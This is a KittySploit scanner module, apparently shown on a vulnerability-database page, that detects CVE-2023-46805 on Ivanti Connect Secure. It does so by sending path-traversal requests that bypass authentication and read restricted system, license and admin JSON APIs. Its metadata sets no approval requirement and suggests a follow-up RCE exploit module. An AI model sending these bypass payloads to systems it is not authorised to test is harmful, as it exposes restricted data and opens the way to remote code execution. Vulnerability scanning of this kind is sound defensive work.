Ivanti Connect Secure CVE-2024-21887 Detection
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Ivanti Connect Secure CVE-2024-21887 surface via CVE-2023-46805 auth bypass."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Ivanti Connect Secure CVE-2024-21887 Detection',
'description': (
'Detects the CVE-2023-46805 auth-bypass path that enables CVE-2024-21887 '
'command injection by reading restricted JSON APIs without authentication.'
),
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': [
'web', 'scanner', 'cve', 'cve2024', 'ivanti', 'connectsecure',
'rce', 'auth-bypass', 'kev', 'vkev', 'vuln',
],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 2,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{'capability': 'admin_surface', 'from_detail': ''},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [
'exploits/multi/http/ivanti_connect_secure_cve_2024_21887_rce',
],
},
},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2024-21887',
'https://nvd.nist.gov/vuln/detail/CVE-2023-46805',
'https://forums.ivanti.com/s/article/CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways',
],
'cve': 'CVE-2024-21887',
}
def run(self):
probes = (
(
'/api/v1/totp/user-backup-code/../../system/system-information',
('build', 'system-information', 'software-inventory'),
),
(
'/api/v1/totp/user-backup-code/../../license/keys-status',
('"result"', '"message"'),
),
(
'/api/v1/cav/client/status/../../admin/options',
('poll_interval', 'block_message'),
),
)
for path, markers in probes:
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r or r.status_code != 200:
continue
ctype = (r.headers.get('Content-Type') or r.headers.get('content-type') or '').lower()
if 'application/json' not in ctype and 'json' not in ctype:
# Some appliances omit precise content-type; still require JSON-looking body.
body_preview = (r.text or '')[:200].lstrip()
if not (body_preview.startswith('{') or body_preview.startswith('[')):
continue
body = r.text or ''
if all(m in body for m in markers):
self.set_info(
severity='critical',
reason=(
'Ivanti Connect Secure auth bypass (CVE-2023-46805) enables '
'CVE-2024-21887 RCE surface'
),
path=path,
evidence=f'markers={",".join(markers)}',
)
return True
return False
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05 Oct 2026 14:20Current
8.6High risk
Vulners AI Score8.6
CVSS 3.19.1
CVSS 39.1
EPSS0.99999
SSVC